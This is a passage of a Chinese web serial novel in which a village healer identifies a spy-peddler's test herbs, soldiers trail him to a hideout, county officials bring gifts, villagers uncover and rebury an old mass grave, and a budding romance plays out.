一套标准到不能再标准的官方说辞,直接把货郎的话头堵得死死的。 货郎脸上的笑意又僵了一下。 他感觉自己像是在打一团棉花,对方滑不溜手,根本不给他发力的机会。 这个穿白衬衫的男人,气场太强,让他很不舒服。 货郎不死心,眼珠一转,又想出了新招,换上一副诚恳求教的面孔。 “对了,姜神医,我这担子里还有几样从深山老林收来的怪药,走了好几个地方,药农们都不认得。您是高人,能不能帮我掌掌眼?您放心,我不白让您看,我给钱!” 这是最后的试探,用未知的药材,考校她的真本事。 满院的喧闹中,赵大山已经扯着嗓子喊人入座了。 姜芷放下手中的碗筷,正眼看向这个货郎。 “当然可以。” “医者之间,交流心得,本是常事。” “不过,有些草药啊,它有自己的脾气。得顺着它的性子来,不然,它可是会伤人的。” 话音落下,货郎的心脏猛地一缩。 她这话是什么意思? 是警告? 还是无心之言? 他一时竟有些分不清楚。 这个乡下丫头,比他想象的,要难缠得多。 货郎干笑两声,强行把话头拉了回来。 “姑娘说笑了,草药嘛,都是治病救人的,哪有伤人的道理。” “来来来,快开席了,我就是想请您帮我长长眼,耽误不了您几分钟。” 他一边说,一边就从自己的货担里,小心翼翼地捧出一个用油布层层包裹的小包。 打开来,里面是几株形态各异的干草。 一股混杂着泥土和奇特芬芳的气味瞬间散开。 “您瞧瞧,这几样,我走南闯北都没认出来,劳您给瞧瞧?” 他把草药往前递了递,姿态放得很低,一副诚心求教的模样。 周围几个村民,也好奇地凑了过来。 “哟,这草长得可真怪!” “芷丫头,这能是药?” 姜芷没接,目光只是淡淡扫过,便落回到货郎那张故作憨厚的脸上。 “第一株,鬼脸藤,生于阴坡石缝,能祛湿通路,但要和蛇莓同用,否则引发心悸。” “第二株,九节风的变种,本地叫穿山龙,治风湿是好东西,可一旦研磨成粉,气味会吸引一种林子里的毒蚂蚁。” “至于这第三株……” 姜芷的声音顿了顿,端起桌上的茶碗,轻轻吹开浮叶。 她不紧不慢地继续说道:“它没名字,因为它不是一株,是三株不同的植物用特殊手法嫁接而成。根是断肠草的根,茎是一点红的茎,叶子,倒是无毒的马蹄金。” 她每说一句,货郎脸上的笑容就僵硬一分。 说到最后,他额角已经渗出了细密的冷汗。 周围看热闹的村民听得云里雾里。 “啥玩意儿?又是鬼又是龙的,这都是啥啊?” “听不懂,但听着就好厉害的样子!” 可货郎听懂了。 他比谁都懂。 这几株药,是他压箱底的宝贝,也是“青囊阁”内部用来考核弟子药理知识的试题,极其刁钻,环环相扣。 尤其是第三株嫁接的“假药”,手法隐秘,非浸淫此道几十年的老药师,绝不可能一眼看穿! 而眼前这个看起来不到二十岁的丫头,只是扫了一眼,就说得分毫不差! 这不是“医术高超”能解释的了。 这是刻在骨子里的传承和洞察! 姜芷放下茶碗,微微一笑。 “我说的对吗,老板?” 这一刻,货郎内心已是惊涛骇浪。 这个姜芷,绝对是他们需要的“奇才”! 他必须马上把这个消息带回去! 表面上,他还在强装镇静,抹了把汗,憨笑道:“哎呀,是,是吗?我,我收药的时候可不知道这些,姑娘说得有道理,有道理!” 姜芷没再紧逼,将一盘刚出锅的白面馒头往他面前推了推。 “天色不早了,留下吃完饭再走。” “不了不了,家里还有事,有这两个填肚子足够了!” 货郎哪还敢多待一秒,抓起两个馒头,收拾好货担,转身就走。 村民们都愣住了。 “这人咋回事?马上开席了,有肉都不吃,走那么急干啥?” 赵秀娥走到姜芷身边,有些疑惑:“小芷,这人……” “没事,娘。”姜芷安抚地拍了拍她的手,“一个过路的,随他去。” 陆向东站在一旁,目光从那货郎消失的方向收回,冲着正在人群里帮忙端菜的李铁和王柱,递去一个手势。 两人心领神会,放下碗筷,一前一后,悄无声息地消失在院墙外。 货郎脚程极快,专挑僻静小路,一路上还利用人群和拐角,做了数次反追踪的假动作,警惕性极高。 但他不知道,跟在他身后的,是全军区最顶尖的侦察兵。 李铁和王柱就像两道影子,时而化作路边闲谈的农人。 时而变成埋头赶路的路人,始终与他保持着一个绝对安全的距离,不远不近。 两人一路跟到了县城。 货郎进了城,就像鱼儿进了水,在熙熙攘攘的人群里左拐右拐,最终钻进了一条错综复杂的小巷子。 他闪身进入了一座毫不起眼的院落,随即关上了门。 李铁和王柱在远处一个拐角停下,没有靠近。 “就是这了。”李铁压低声音,飞快地记下门牌号和周围的地形特征。 “这孙子够狡猾的,绕了这么大一圈。”王柱撇了撇嘴。 “走,回去向团长汇报。” 两人转身正要离开,李铁的鼻子却忽然动了动。 他停下脚步,神情变得凝重,目光扫向那座院落墙角的一个狗洞。 风中,似乎飘来一丝若有若无的气味。 李铁闭上眼,仔细分辨。 那是一股甜得发腻的香味,初闻不觉,细品之下,让人头皮发麻。 他猛地睁开眼,与同样闻到气味的王柱对视一眼,两人都从对方眼中看到了震惊。 李铁的嘴唇动了动,无声地吐出两个字——尸香。 第77章 县领导登门送礼看呆全村 院子里,货郎的身影刚消失在村口,赵大山便扯着嗓子,中气十足地吼了起来。 “都别愣着了!开席!” “今天都敞开了肚皮吃!谁不吃饱,就是不给我老赵面子!” “好嘞!” “队长放心,吃穷你!” 村民们轰然应诺,压抑不住的喜悦重新燃遍了整个院子。 肉香,馒头香,混合着人们的笑声,让这个小院充满了红火的人间烟火气。 陆向东收回目光,端起一盘热气腾腾的馒头,稳稳走向席间,仿佛刚才的一切都未曾发生。 只有姜芷知道,那两道最矫健的身影跟了出去。 鱼儿,已经咬钩了。 就在赵大山准备招呼人动筷子的时候,一阵“突突突”的引擎声由远及近,打破了这片喧闹。 这声音,村里人一年也听不到几回。 所有人的动作都顿住了,齐刷刷地扭头望向村口。 只见一辆绿色的吉普打头。 后面还跟着一辆黑得发亮的小轿车和货车。 车队停在了姜芷家新院的门口,在无数道惊奇的目光中,车门次第打开。 最先从吉普车上下来的人,村民们不认识,但看那身板正的干部装,就知道不是一般人。 而当小轿车的门打开,一个穿着中山装,面带温和笑容的中年男人走下来时,人群里有去县里开过会的人,当场就倒吸了一口凉气,手里的筷子“啪嗒”一声掉在地上。 “周……周主任!” “县革委会的周主任!” “啥?!” “哪个周主任?!” “你管哪个周主任,说了你认得吗?” “反正就是咱县里的大官!” 轰! 人群彻底炸了。 如果说之前部队送来拖拉机,是让大家觉得姜芷有本事,能耐大。 那现在县里一把手亲自登门道贺,这意义可就完全不一样了! 这是天大的脸面啊! 更让他们跌破眼镜的还在后头。 周主任下车后,亲自绕到另一边,恭敬地拉开车门,扶着一位头发花白的老太太下了车。 紧接着,他的爱人也跟着下来了。 一家人,整整齐齐,全都来了! 还没等村民们从这巨大的冲击中回过神,另一辆吉普车上,一个穿着白大褂的身影,风风火火地跳了下来。 王建国! 县医院那位眼高于顶的王医生! 只见他手里拎着一个沉甸甸的布包,脸色激动,三步并作两步就往院子里冲,嘴里还嚷嚷着:“姜老师!姜老师您在哪儿呢?” 那模样,哪像是来道贺的贵客,分明就是追星上头的铁杆粉丝! 赵大山已经彻底傻眼了。 他张着嘴,端着一碗肉的手悬在半空,脑子里一片空白。 这是啥阵仗? 他当了半辈子大队长,开过的会见过的人加起来,都没今天这一刻来得吓人。 院子内外,鸦雀无声。 只有肉汤在锅里“咕嘟咕嘟”地冒着热气。 周主任夫妇扶着老太太,在众人的注视下,径直走到了姜芷面前。 周主任脸上带着发自内心的感激和尊敬,声音洪亮。 “小姜同志!听说你今天新居上梁,我们一家不请自来,给你道贺!你可千万别嫌我们唐突啊!” 姜芷放下手里的碗筷,迎了上去,笑容温和。 “周主任,您太客气了。您能来,是我的荣幸,快请进。” “哎!应该的,应该的!” 周主任的爱人拉着姜芷的手,亲热得不行,“要不是你,我家老婆子,现在还不知道在哪儿遭罪呢!” 周老太太更是激动得热泪盈眶,抓着姜芷另一只手,连声道:“好孩子,好孩子啊!” 这一幕,让周围的村民们看得是既羡慕又震撼。 周主任带来的司机和秘书,开始从货车上往下搬东西。 “新飞牌”自行车一辆! “蝴蝶牌”缝纫机一台! 还有两匹的确良布料,几斤水果糖,两瓶好酒…… 每搬下来一样,村民们的心就跟着狠狠颤一下。 这……这贺礼也太重了!重得吓人! 这简直是把供销社的好东西都给搬来了! 这头还没完,王建国已经挤到了姜芷面前,激动得脸都红了。 “姜老师!您可算回来了!” 他把手里的布包往桌上一放,献宝似的打开。 “这是我托人从省城淘来的绝版《中草药彩色图谱》!还有这个,德国产的听诊器!送,送给您当贺礼!不成敬意,不成敬意!” 说完,他搓着手,一脸期待地看着姜芷。 “那个……姜老师,关于上次您说的那个‘乌血藤’和‘鬼闻香’的伴生关系,我回去查了好多资料,还是有几个地方想不通,您看您现在方便吗?就一小会儿!” 满院子的人都听傻了。 这个县里来的大医生,怎么在芷丫头面前,跟个三孙子似的? 陆向东眉头皱了一下,上前一步,高大的身躯隔开了王建国和姜芷之间的距离,声音沉稳。 “王医生,先入座。” “吃饭的时候,不谈工作。” 王建国这才注意到旁边这个气场强大的男人,愣了一下,随即不好意思地挠了挠头。 “对对对,看我,太心急了。” 这场面,热闹得有些魔幻。 赵大山总算回过神来,连忙招呼着村干部,手忙脚乱地给贵客们安排座位,添置碗筷。 原本定好的席位,彻底乱了套。 但没人有怨言,反而个个与有荣焉,腰杆都挺得笔直。 看! 这就是我们村的姜神医! 县里的官儿,都得客客气气地上门来! 众人还没从震惊中回过神,找座位的难题又摆在了面前。 周主任是县里一把手,这必须是主桌上座。 可谁有资格陪坐? 村干部们面面相觑,赵大山急得脑门冒汗。 姜芷从容上前。 她先是扶着周老太太,将老人家稳稳当当按在了主桌最尊贵的位置。 又请周主任夫妇紧挨着坐下。 然后,她转身,在所有人意想不到的注视下,拉过了一直默默站在人群后,显得有些手足无措的母亲赵秀娥。 “娘,你坐这。” 赵秀娥魂都快吓飞了,拼命摆手。 “不不不,小芷,我哪能跟领导一桌……” “您是今天的主家,您不坐,谁还有资格坐?” 姜芷不由分说,按着母亲的肩膀,让她稳稳坐下。 赵秀娥的眼眶瞬间就红了。 随后,姜芷的目光落向一旁的赵大山和公社来的陈支书。 “赵队长,陈支书,您二位也请上座。” 满院寂静。 所有人都看明白了。 芷丫头心里这杆秤,称得是人心! 她敬的是领导,孝的是亲娘,记的是恩情! 这事办的,敞亮!体面! 赵大山激动得胸膛一挺,只觉得这辈子都没这么风光过,大步流星地坐了过去。 宴席正式开始。 雪白的馒头冒着热气,大块的红烧肉在陶碗里颤动,油光锃亮。 村民们起初还拘束,可见周主任都夹起一块肉吃得赞不绝口,胆子也大了,院子里顿时响起一片满足的吸溜声。 “我的天,这肉炖得入口就化!” “这白面馒头,比过年吃的都香!” “托了芷丫头的福,咱这辈子也算跟县太爷吃过一桌饭了!” 酒过三巡,周主任端起酒杯,缓缓站起。 嘈杂的院子瞬间安静无声。 他目光扫过全场,最后定格在姜芷身上。 “我今天来,不光是道贺,更是代表我们全家,感谢小姜同志的救命之恩!也感谢红星大队,培养出了这么好的同志!” “在这里,我表个态!” 周主任顿了顿,声音拔高了几分。 “以后红星大队有任何困难,只要是为了发展,为了社员好,我周某人,绝不推辞!” 轰! 这话比刚才的缝纫机自行车还震撼! 这可是县一把手的金口玉言! 赵大山“腾”地一下站起来,端着酒碗的手都在发抖。 “周主任!我老赵代表红星大队全体社员,敬您!我们一定好好干,绝不辜负领导的期望!” 说完,一仰脖,烈酒入喉,呛得他眼圈通红。 宴席的气氛达到了顶点。 陆向东始终没怎么说话,只用筷子默默给姜芷夹了一块剔掉肥膘的瘦肉,又将一碗清淡的菌菇汤推到她手边。 姜芷察觉到他的动作,抬眼看他,微微一笑,没说什么。 酒席持续到午后。 周主任一家千恩万谢地被送上车,临走时,周夫人还拉着姜芷的手,让她务必去县里做客。 紧接着,姜芷又打发了缠着她问了十几个医学难题、心满意足的王建国。 赵大山立刻安排人手,麻利地收拾残局。 喧闹了大半天的院子,终于渐渐安静下来。 就在这时,两道矫健的身影出现在院门外,正是李铁和王柱。 陆向东目光一凝,带着姜芷走到僻静的墙角。 “姜顾问,团长。” “说。”陆向东言简意赅。 “那小子进了县城后巷的一个院子,我和王柱守在外面,亲眼看见他进去,就再没出来。我们怕打草惊蛇,没敢靠近,可等了足足一个钟头,里面一点动静都没有。” 李铁的呼吸沉了些许。 第78章 神医一句话,把乱葬岗变宝地 甜得发腻的尸香! 陆向东听完,眼神都冷了几分。 “具体位置。” “县城南边,废弃纺织厂后面的三进院子,只有一个门。我们画了地图。” 李铁立刻从怀里掏出折叠得方方正正的纸,递了过去。 姜芷从陆向东身后探出头,扫过那张简易地图,又落回李铁脸上。 “除了尸香,还听到了什么没有?” “没有。” 两人齐齐摇头。 “那个院子……太安静了,连声狗叫、鸡叫都没有。” 姜芷看向陆向东:“不能硬闯。” 陆向东的眉头拧成一个川字,他当然知道不能硬闯。 对方警惕性极高,院内情况不明,贸然行动只会打草惊蛇,甚至可能造成伤亡。 “我立刻向秦司令汇报,联系地方同志,申请二十四小时监控。”陆向东沉声沉冷,“他们跑不了。” “跑?”姜芷轻哼,“我费这么大劲把鱼引过来,可不是为了让他们跑的。” “他们不会跑。” 姜芷笃定:“那个货郎今天只是探路。他确认了我的价值,他们的主事人,只会想着怎么把我弄到手,或者……毁掉。” 李铁和王柱听得心惊肉跳。 怎么从姜顾问嘴里说出来,他们这趟任务跟听评书似的,一环扣一环,步步惊心。 陆向东的黑眸沉了下去,他不喜欢“毁掉”这个词。 “你安心待在村里,剩下的事我来处理。” “不,”姜芷摇头,迎上他的目光。 “陆团长,你忘了我们的计划吗?鱼已经看到了饵,我们现在要做的,是让鱼觉得,不吃这个饵,它会亏死。” 她看向院外那片热火朝天收拾碗筷的景象,继续说。 “明天,‘鬼见愁’开荒计划,正式启动。” “动静闹得越大越好。” 宴席散去,热闹了一天的小院终于安静下来。 姜芷叫住正要离开的赵大山,指了指屋里堆成小山的礼物。 “赵队长,这些东西……我想先寄放在您家,能行吗?” 赵大山一愣,随即明白过来,一拍大腿:“当然行!你这丫头就是想得周到!放我家,谁敢乱动我打断他的腿!” 把贵重东西放回老宅那种地方,才是脑子进水了。 陆向东看着她滴水不漏的安排,满眼都是赞许。 另一头,县城。 废弃纺织厂后的那座三进院落。 主屋里光线昏暗,一个全身笼罩在黑袍里,只露出一双阴鸷眼睛的人,正坐在太师椅上,手指有一下没一下地敲着扶手。 货郎正跪在地上,一五一十地汇报着在红星大队试探姜芷的全部经过。 从“醉龙涎”被闻出来,到三株奇药被精准辨认,尤其是那株以假乱真的嫁接毒草,被姜芷一口道破,他讲得是冷汗直流。 “……阁下,那个姜芷,邪门!实在是太邪门了!” “属下行走江湖几十年,从未见过如此眼力的年轻人!” “她的本事,恐怕……恐怕不在‘药主’之下!” “哦?”山鬼阁下的声音沙哑。 “一个乡下丫头,能有这本事?” “千真万确!”货郎头磕在地上,“而且,她身边一直跟着个当兵的,是她的未婚夫,气势很不一样。” “当兵的……”山鬼阁下重复了一句,“派人去查查那个兵的底细。在没摸清他的来路前,不要轻举妄动。” “是!” 山鬼阁下缓缓站起身。 “但那个姜芷,必须给我盯死了!我要知道她的一举一动,她开山种药,到底是为了什么?” “是!”货郎磕了个头,恭敬地退了出去。 … 第二天一大早。 村里的大喇叭还没响。 家家户户的社员们就跟打了鸡血似的。 扛着锄头、铁锹,自发聚集到了姜芷家门口。 “芷丫头!啥时候上山啊?” “队长说了,今天去‘鬼见愁’开工!我们都准备好了!” “跟着神医干,浑身都是劲儿!” 赵秀娥端着一碗热腾腾的粥从屋里出来,看着门口这阵仗,脸上笑开了花。 吃过早饭,姜芷则换上了一身方便行动的旧衣服。 临走前,她把赵秀娥拉到一边,低声嘱咐。 “娘,这两天不管谁来找我,你都说我上山了。新房子那边,你也多留个心眼。” “知道了。”赵秀娥点点头,无条件地信任女儿。 她给姜芷理了理衣领,又往她口袋里塞了两个热乎乎的煮鸡蛋。 “山上冷,注意身体。” 姜芷心中一暖,嗯了一声,转身走向门口。 “出发!” 赵大山一声吼,浩浩荡荡的开荒大队,正式向着后山的“鬼见愁”进发。 山上怪石嶙峋,杂草丛生,连鸟都很少落在上面。 村里人对它向来是敬而远之。 可今天,几十号人扛着工具,精神抖擞地站在了山脚下。 “芷丫头,你说怎么干,我们就怎么干!” “对!你指哪,我们打哪!” 姜芷笑了笑,指着山脚下一片相对平缓的坡地。 “今天,先清理这片区域的杂草碎石。能用的石头都堆起来,以后用来垒梯田。” “好嘞!” 社员们应声就要散开干活。 “等等!” 姜芷忽然开口,目光落在不远处一丛半人高的灌木丛上,眼神微微收紧。 那片灌木的叶子,是暗红色,在周围一片枯黄的杂草中,在周围一片枯黄中,格外突兀。 初冬时节,万物凋零,这种反常的生命力,本身就代表着问题。 赵大山也注意到了,疑惑道:“芷丫头,那草有啥问题?” 姜芷没说话,缓缓走了过去。 陆向东立刻跟在她身后,一步之遥,眼神警惕地扫视着四周。 走到近前,一股极淡的腥甜味钻入鼻孔。 姜芷蹲下身,拨开灌木的枝叶。 只见在根部,紧贴着地面,长着几株巴掌大小、形如人耳的黑色菌类。 菌子表面覆盖着一层黏液,在阳光下反射着油腻的光。 赵大山凑过来看了一眼,撇撇嘴:“嗨,我当是啥呢,不就是几朵毒蘑菇嘛!这玩意儿山上多的是,碰都不能碰!” 然而,姜芷的脸色倏然变得凝重。 “赵队长,这不是普通的毒蘑菇。” 她站起身,看向众人。 “这东西叫‘尸耳’,只生长在埋着百年以上,怨气不散的阴煞之地。” “而且,你们看它的颜色。” 她指着那几朵黑得发亮的菌子,带着寒意。 “纯黑带光,说明下面的‘养料’,非常足。” “这山底下,只怕埋了很多大粽子啊。” “大……大粽子?” 赵大山嘴皮子猛地一哆嗦,手里的老旱烟杆差点没拿稳。 他活了半辈子,只在村里老人口中听过这种吓唬小孩的词儿,说的是地底下那些不干净的东西! 跟在后面的几十号社员,脸上的表情比见了鬼还精彩。 刚刚还热火朝天的干劲儿,瞬间被一盆冰水浇得透心凉。 “啥?粽子?能吃不?”一个不懂事的年轻后生傻乎乎地问。 旁边一个上了年纪的大娘,一巴掌呼在他后脑勺上,压着嗓子骂。 “吃吃吃!就知道吃!那是地底下埋了几百年的老东西!老话说了,养出这种阴物的地界儿,三代人都走不出好运!” 这话一出,人群里顿时响起一片倒吸凉气的声音。 好几个人握不住手里的锄头铁锹,下意识就往后缩。 “鬼见愁”,“鬼见愁”,原来这名号不是白叫的! 这底下,真埋着鬼! 陆向东立刻挪了半步,正好将姜芷完全护在身后。 “很危险?” 姜芷从他肩膀后探出半个脑袋,看着村民们一张张惊恐的脸,有些无奈。 “各位,封建迷信要不得。” 她清了清嗓子:“我说的‘粽子’,不是鬼。大家都是社会主义接班人,哪来的鬼神?” 村民们半信半疑,眼神直勾勾地望着她。 “这东西,学名叫‘尸耳’。” 姜芷指着那几朵油亮的黑菌子,用最直白的话解释。 “它算蘑菇的远亲,但嘴巴刁得很,只吃一种东西——” “尸体烂进土里,渗出来的那些油水。而且,这尸体埋的时间必须够长,一百年只是起步。时间越久,这‘尸耳’就长得越黑越亮。你们看这几朵,都反光了,说明底下埋着的‘肥料’,年头足,料也够猛。” 这番解释,比“大粽子”更让人头皮发麻。 肥料? 料够猛? 一想到脚下这片土地里,可能浸透了几百年尸骨烂掉的油水,一股寒气顺着脚底板就往天灵盖猛蹿。 赵大山稳了稳心神,到底是见过风浪的大队长,他强作镇定地问:“芷丫头,那……那这地还能开吗?会不会冲撞了什么?” “冲撞不冲撞的,我不懂。” “我只知道,有这东西在,就证明这块地的‘阴气’和‘湿邪’特别重。” 姜芷的表情严肃起来。 “这种气,眼睛看不见,但它会顺着土地往外冒。人常年在这里干活,轻则风湿骨痛,头晕没劲儿,重则气血亏空,百病缠身。这也是为什么,‘鬼见愁’这地方连野草都长不好的根源。” 她的话,戳中了在场所有人的痛点。 村里谁家没个腰酸腿疼的老人? 谁下地干活久了不觉得骨头缝里都冒凉气? 以前都当是累的,现在听姜芷这么一说,顿时觉得都跟这“鬼见愁”脱不了干系! “那咋办啊芷丫头!” “这山还能要吗?” “我的天,咱们站在这儿会不会就染上病气了?” 村民们又骚动起来。 “想解决问题,就得治根。” 第79章 这个男人,真是越来越会了 重赏之下,必有勇夫。 “干!” “听神医的,准没错!” “三倍工分!挖!不就是土吗,刨它祖宗!” 社员们的恐惧,瞬间被实打实的好处给冲散了。 陆向东没说话,只是对身后的李铁和王柱使了个眼色。 两人立刻会意,一个负责在外围警戒,一个开始组织身强力壮的社员,划定了挖掘范围。 十几把铁锹和锄头,就在姜芷指定的位置叮叮当当地开挖。 初冬的土地坚硬,但几十号人轮番上阵,土石翻飞,一个大坑很快就见了雏形。 “当!” 一声沉闷又清脆的金属撞击声,从坑底传出。 一个社员的铁锹像是碰到了什么硬物,震得他虎口发麻。 “有东西!”他喊了一声。 所有人都停下了动作,紧张地围了过来。 陆向东立刻上前,让众人退后,自己则拿起一把铁锹,用铁锹的边缘,一寸寸地刮开表面的浮土。 很快,一块腐朽的黑色木板露了出来。 随着挖掘的深入,木板的全貌逐渐清晰——那是一块棺材的盖板! 而且,不止一块! 旁边,东倒西歪地,层层叠叠,还有好几具已经散架的棺木和森森白骨! 这里,竟然是一个乱葬岗! 一个被历史遗忘的,不知道属于哪个年代的乱葬岗! 饶是胆子再大的社员,看到这景象也吓得脸都白了,腿肚子直转筋。。 “都别怕!”姜芷再次稳住了人心,“死人骨头而已。” 她走上前,蹲下身,仔细地观察着那些骸骨。 “看骨骼的形状和磨损程度,大部分是青壮年男性,而且……很多人身上都有刀砍斧劈的痕迹。” 姜芷的眉头微微蹙起。 “这里,很可能是一个古代的战场遗址。” 她站起身,看向目瞪口呆的众人。 “他们很可能是保家卫国的兵,不是什么孤魂野鬼。” “咱们今天把他们请出来,好生安葬,是对英雄的敬意。以后他们还会保佑咱们红星大队风调雨顺,药材丰收!” 这番话说出来,瞬间将恐怖的乱葬岗,升华成了英雄的安息地。 村民们脸上的恐惧,也渐渐变成敬畏和同情。 “对!芷丫头说得对!他们是英雄!” “咱们得给英雄们挪个好地方!” 在姜芷的指挥和陆向东的组织下,社员们克服了恐惧。 将所有骸骨收敛起来,由赵大山带人去村后选个向阳的山坡重新安葬。 乱葬岗被清理干净后,一个巨大的土坑留在了原地。 “行了,最关键的一步来了。” 姜芷拍了拍手。 她让社员们去附近割来大量的艾草和带刺的荆棘,全部扔进坑里,然后点燃。 熊熊大火燃起。 浓烈的草药烟雾混杂着木柴的噼啪声,形成一道灰色的狼烟,冲天而上,仿佛要将这片土地积压了百年的阴霾都焚烧殆尽。 等大火熄灭,姜芷又让人取来几十斤生石灰,均匀地撒在坑底和周围的土地上。 “好了。”她看着眼前的一切,满意地点点头。 “火烧祛阴邪,石灰断湿根。这片地,以后就是全村最干净的宝地了。” 村民们看姜芷的眼神,已经不能用崇拜来形容了。 简直神了! 现在,这片烧得黑乎乎,撒满白灰的土地,在他们眼里,那就是一块金疙瘩! “神了!芷丫头真是神仙下凡啊!” “啥鬼见愁,我看以后得叫‘聚宝盆’!” 几个社员扛着锄头,恨不得现在就冲上去再刨两下,看看能不能刨出个金元宝来。 姜芷看着一张张被熏得灰头土脸,却又亢奋无比的脸,有些哭笑不得。 封建迷信要不得,但有时候,还真挺好用。 “行了,都别傻站着了。”姜芷拍了拍手上的灰,“今天就到这儿。这地得先养个两三天,让药效和石灰渗进去。大家伙儿先回去歇着,工分和粮食,队长一分都不会少你们的。” “好嘞!” 社员们散去后,鬼见愁彻底安静了下来。 只剩下烧得焦黑的土地,和遍布山头的白色石灰粉,在初冬萧瑟的寒风里,透着一股肃杀又新生的诡异味道。 接下来两天,整个红星大队都陷入一种奇异的亢奋状态。 “鬼见愁”被姜神医一把火烧成了“聚宝盆”。 这消息长了翅膀似的,一天之内就传遍了十里八乡。 每天都有人扛着锄头跑到姜芷家新房门口,眼巴巴地问。 “芷丫头,今天能上山不?” “我这浑身都是劲儿,就等着你去发号施令了!” 姜芷每次都只是从院子里探出头,淡定地摆摆手。 “地要养,急不得。都回去歇着,养足了精神,有你们干的。” 村民们听了,非但不失望,反而觉得更神了。 看看! 看看人家神医! 种个地都跟咱们凡人不一样! 还得“养地”! 这里头的学问,深了去了! 于是,大伙儿更坚信,跟着姜芷干,吃肉的日子就在后头! 与村里的热火朝天不同,姜芷的小院里,却是另一番景象。 堂屋地上,铺满了从西南边境带回来的各式奇花异草。 有的长得像黑乎乎的铁疙瘩,有的则像色彩斑斓的毒蛇,散发着或清冽或诡异的香气。 赵秀娥端着一盆刚洗干净的“血见愁”,小心翼翼地放在姜芷手边,好奇地问。 “小芷,这东西真能救人命?长得也太吓人了。” “越是毒的东西,用对了地方,药效就越猛。” 姜芷头也不抬,手里一把小巧的银质刻刀上下翻飞。 正将一株“笑面鬼”的果实从中间剖开,剔除里面剧毒的种子。 她的动作又快又稳,赏心悦目。 赵秀娥看着女儿专注的侧脸,心里又是骄傲又是心疼。 自从女儿回来,就没怎么歇过。 白天应付村民,晚上就一头扎进这些瓶瓶罐罐里,经常忙到后半夜。 “你慢点,别累着。” 赵秀娥说着,又把一杯热乎乎的麦乳精推到她手边。 “娘,我不累。”姜芷抬起头,冲她笑了笑。 这种能心无旁骛地钻研医术,身边还有亲人陪伴的感觉,是她上辈子求而不得的奢侈。 她很享受。 陆向东靠在门框上,静静地看着屋里这温馨的一幕,满眼都是柔情。 他没出声打扰,只是像个卫兵,守在那里。 直到姜芷忙完手头的一段落,他才走上前,将一杯冒着热气的水递过去。 “喝点水。” “谢谢。” 姜芷接过水杯,指尖不经意地碰到了他的手指,两个人都像被烫了一下,飞快收回手。 一股暧昧的电流在空气中悄然流窜。 赵秀娥看在眼里,捂着嘴偷笑,找了个借口就溜进了厨房。 “咳。” 陆向东清了清嗓子,耳根有点发热。 那热度非但没降,反而有往脸上蔓延的趋势。 他试图用一贯的严肃表情掩饰自己的窘迫,目光在地上那堆奇形怪状的药材上扫来扫去,硬是没找到一个合适的落脚点。 “这些药……处理起来复杂吗?” 他终于找到一个自认为很不错的话题。 姜芷似笑非笑地看着他。 “怎么,陆团长对岐黄之术也有兴趣了?” “我只是……”陆向东想说“关心你”,话到嘴边又觉得太直白。 跟个毛头小子似的,硬生生憋了回去,最后只挤出两个字。 “好奇。” “好奇啊。” 姜芷故意拉长了声音,她拿起那枚剔除了毒籽的“笑面鬼”果实,在指尖抛了抛。 “这东西,种子剧毒,能让人笑着烂穿肠子。但果肉,晒干磨成粉,却是治疗跌打损伤的圣药。你说,复不复杂?” 陆向东的视线落在她灵巧的手指和那枚诡异的果实上,喉结不自觉地滚了滚。 “你小心点。” “放心。”姜芷将果实放回簸箕里,拍了拍手,“这点小场面,问题不大。” 她这话,带着国医圣手独有的骄傲与自信,让陆向东看得有些发怔。 那眼神,专注得吓人,带着满腔的灼热。 姜芷两世为人,什么阵仗没见过。 可被这么一道火辣辣的视线钉着,她竟觉得脸上有些发烫,连带着手里整理药材的动作,都乱了一丝节奏。 她有些不自在地别开脸:“陆团长。” “嗯?” “你脸红了。” 陆向东的身躯猛地一僵,梗着脖子,半天挤出一句:“……天热。” 姜芷“扑哧”一声笑了出来。 初冬时节,你给我说天热? 不过,这一下,她心头那点莫名的慌乱也散了。 她站起身,伸了个懒腰,故意不去看他。 “不早了,你赶紧回去休息吧。” 她顿了顿,又低声补了一句。 “我也要睡了。” 陆向东没动。 姜芷察觉到他还杵在那儿,奇怪地回头:“怎么还不走?” 陆向东不答,黑沉的眸子就那么锁着她,朝她迈了一步。 姜芷下意识想后退,却发现男人只是从他军装上衣的口袋里,摸出了什么东西。 “唰啦——” 剥糖纸的声音。 第80章 聚宝盆里,种下第一株药 “小芷,那孩子走了?” 厨房里,赵秀娥探出个头,脸上那笑意怎么也藏不住。 她说是忙活,其实耳朵一直竖着,外面的动静听得一清二楚。 自家闺女那点被人戳穿心事后的小慌乱,还有陆向东那小子越来越大胆的举动,她这个当娘的,心里跟明镜似的。 “嗯,走了。” 姜芷嘴里含着糖,声音含糊不清。 她站直身子,佯装镇定地走进堂屋,随手拿起簸箕里的一株药材,眼神却怎么也无法聚焦。 “娘看啊,向东这孩子,是真实诚。” 赵秀娥擦着手从厨房出来,笑呵呵的。 “知道你累,不声不响就守在门口,不像村里有些嘴碎的,光说不做。” 姜芷含糊地“嗯”了一声,没接话。 脑子里乱糟糟的,全是那个男人转身离去时,烧得通红的耳朵。 赵秀娥看女儿这副模样,心里乐开了花,也不说破,只把灶上温着的热水端过来。 “行了,别忙了,都大半夜了,赶紧睡吧,看你眼底下都快有黑圈了。” “知道了,娘。” 姜芷放下药材,端起水碗小口喝着。 温热的水流滑过喉咙,却没能压下心头那点奇异的燥热。 这一夜,姜芷睡得并不安稳。 梦里交替出现的,是“鬼见愁”上漫山遍野的森森白骨,和陆向东那双黑得能将人吸进去的眼睛。 还有那颗糖,甜得发腻。 第二天,她是被院子里的一阵浓郁香气勾醒的。 是白米粥独有的醇厚米香,还混着一丝丝肉的鲜味。 姜芷疑惑地披衣起身,走到院子里,厨房的烟囱正冒着袅袅的炊烟。 “娘,今天怎么起这么早?” 她走进厨房,赵秀娥正往灶膛里添柴。 “不是我。” 赵秀娥回头,脸上的笑容比外面的晨光还灿烂。 “是向东那孩子,天刚蒙蒙亮就来了,说是怕咱们娘俩没吃的,特意从县城弄了肉和白米,非要给咱们做早饭。” 姜芷一愣。 她走到锅台边掀开锅盖,一口大锅里正“咕嘟咕嘟”熬着雪白的米粥,粥里飘着细碎的肉末和青翠的野菜,香气扑面。 另一边的小灶上,陆向东高大的身躯微微弓着,背对着她,手里拿着锅铲,盯着锅里。 他听到动静回头,看到是姜芷,耳根瞬间又开始泛红。 “醒了?” “嗯。” 姜芷看着他的背影,和这满是烟火气的厨房格格不入,心里泛起一种奇妙的违和感。 “粥快好了,我给你煎了两个鸡蛋。” 陆向东说着,用锅铲将两个煎得金黄滚圆的荷包蛋盛进碗里,上面还细心地撒了点盐花。 